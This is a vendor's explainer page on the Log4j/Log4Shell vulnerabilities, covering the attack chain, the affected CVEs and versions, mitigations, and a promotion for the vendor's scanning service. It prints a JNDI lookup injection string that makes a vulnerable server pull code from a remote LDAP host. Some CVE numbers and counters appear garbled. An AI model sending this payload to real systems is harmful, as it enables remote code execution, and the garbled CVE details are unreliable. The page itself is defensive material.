Appsec Phoenix

ultra violet

Log4J / Log4Shell Overview

This page provides an overview of the latest Log4J/Log4Shell Vulnerability (CVE-2021-44228 and more)

Latest Update 19 December 2021

0

Number of Downloads

0

Number of Vulnerabilities per version

0

Number of Vendor Affected

0

Product Affected Per Vendor

Download from Maven Central

 

 

 

 

Downloads
Latest Log4j Download MAVEN
Best Fixer
Purple Divider 4
What is Log4j?

Log4j is a widely used open-source logging library for Java applications. Log4j provides additional logging capabilities, like log levels (fatal, error, warn, etc), mechanisms to write to different log files, log rolling patterns, and more. Log4j has been recently affected by a number of vulnerabilities all classified as log4shell.

If you’ve ever worked within a Java application, you’ve probably seen Log4j in use:

import org.apache.logging.log4j.Logger;

LOGGER.info(String.format("An error occurred while uploading the file [%s]", theFile));
log4j log4shell logo java library
Vulnerability Explained

Simple Explanation

1. Victim is running a Java Web that uses the log4j logging library (potentially affected by log4shell)

2. The victim web app has code that logs http request payloads/headers with log statements (example User-Agent) (refer to the Java Code snippet)

3. Attacker identifies vulnerable app and makes a request to the server with the User-Agent Value set to this. What does this mean? (refer to the curl request)

jndi == Java Naming and Directory Interface. Allows Java apps to access multiple apis for LDAP, Remote Method Invocation (RMI), etc through the JNDI Interface

4. The attacker tries to get the log4j library to lookup an LDAP server through JNDI 

If the log4j library is vulnerable, it will attempt to call the URI (ldap server). 

5. The attacker runs the purported LDAP server and feeds a “malicious” class that contains some code that they want your app to run. 

6. Because your log4j library is vulnerable. It makes the LDAP call, receives the class, runs the code and you have RCE

Attack Stages

 

  1. An attacker injects a malicious request 
  2. Apache pass the log string via log.info("${jndi:ldap://patch.log4shell.com:1389/a}"),
  3. Log4j library in apache or any other vulnerable application use “Message Lookup” . The JNDI Manager is invoked and passed the LDAP URI,
  4. The LDAP Server is queried via the URI,
    1. The response is downloaded and passed to the JNDI Manager. The JNDI Manager loads the response data as Java bytecode into the Java process,
    2. When loading the Java code, the getObjectInstance method is called since the loaded class is an ObjectFactory (alternatively, the payload code can be wrapped in a static context with static {} which will be triggered upon loading the class),
  5. An attacker can download and inject the malicious code or call home. 
CVE and Version Affected

CVE-2021-44228 (CRITICAL):

Original log4j CVE that originate the first wave. The vulnerability Impacts “org.apache.logging.log4j.log4j-core” versions 2.x only: <2.15.0 affected. Ratings CVSS got updated several times till the current critical 

CVE-2021-45046 (HIGH):

DoS vulnerability affecting log4j-core version <=2.15.0 but not 2.16.0. Therefore, 2.16.0 is the safest version to be on.

CVE-2021-4104 (MODERATE):

Less severe variant of CVE-2021-44228 impacting log4j 1.x only. Impacts all versions of a different group/artifact altogether: “log4j:log4j.” Not applicable to “log4j-core” (those are 2.x versions).

Vendor Vulnerabilities (not yet CVE)

SONATYPE-2021-4560 (HIGH):

Applies to log4j 2.x versions until and including 2.15.0. Fixed version to be on is 2.16.0. Vulnerability based on Praetorian’s blog. Detailed in this news report. Currently under CVE Release Fast-Track as full disclosure is pending with Apache. (will update)

SONATYPE-2021-4517 AKA CVE-2021-42550 (MODERATE):

Similar to CVE-2021-4044, but impacts “logback-classic,” and “logback-core,” as logback is based off of log4j 1.xSonatype ID is based on this issue: https://jira.qos.ch/browse/LOGBACK-1591 

 CVE-2021-4832 (MODERATE):

Two Vulnerabilities have been affecting the 2.17.1 – a Config modification from a checkpoint researcher Yaniv claimed credit for the first discovery Tweet and the latest RCE

from a tesla sec engineer Tweet

Purple Divider 4
Mitigations Available
  1. Detect with Waf Malicious string (see blog post for mitigations)
  2. Disable log4j, utilize different versions, upgrade to the latest version (currently 2.17
  3. Disable JND Lookups
  4. Disable Remote Code Execution
  5. Monitor Logs for presence of malicious string

Other Mitigations

  1. Utilizing Java 8 or later? upgrade to Log4j 2.17.0, 2.16 had the JNDI lookup functionality disabled by default but another RCE was developerd
  2. If can’t update Java 7, upgrade to Log4j 2.12.2

If upgrading you can’t update Log4j library is, but you have access to the servers those options are available

  • Remove the JndiLookup class from the classpath: zip --d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class. This assumes you’re confident your application does not leverage JNDI Lookups.
  • Hot patch running JVM processes using AWS’ Log4jHotPatch: https://github.com/corretto/hotpatch-for-apache-log4j2. This carries some potential risk.

How can you Detect

Detect & Act on Log4J With AppSec Phoenix

number-1

Find where Log4J is in your application

number-2

Create applications, link to scanners/scan and create a plan of action

number-3

Review the scan results and push the Jira or e-mail the most critical vulnerabilities

How does it look like

Let us do the heavy lifting

 

We are following the story very proactively and working with clients to help identify and automatically report and get alerted in the future on those vulnerabilities

Get Notified when Vulnerabilities like Log4J affect your system. 

We monitor actively the criticality of the application and notify you of a selection of the application and the risk level 

to get more info reach out to us 

 

 

 

Act Fast

 

The vulnerabilities get actively traced to detect which application is more vulnerable

Quickly identify the more critical and exposed vulnerabilities for each log4j or the log4j in general

Quickly Detect and automatically push the vulnerabilities to Jira for the team to look at as matter of priority

x Logo: Security Protection
This Site Is Protected By
Security Protection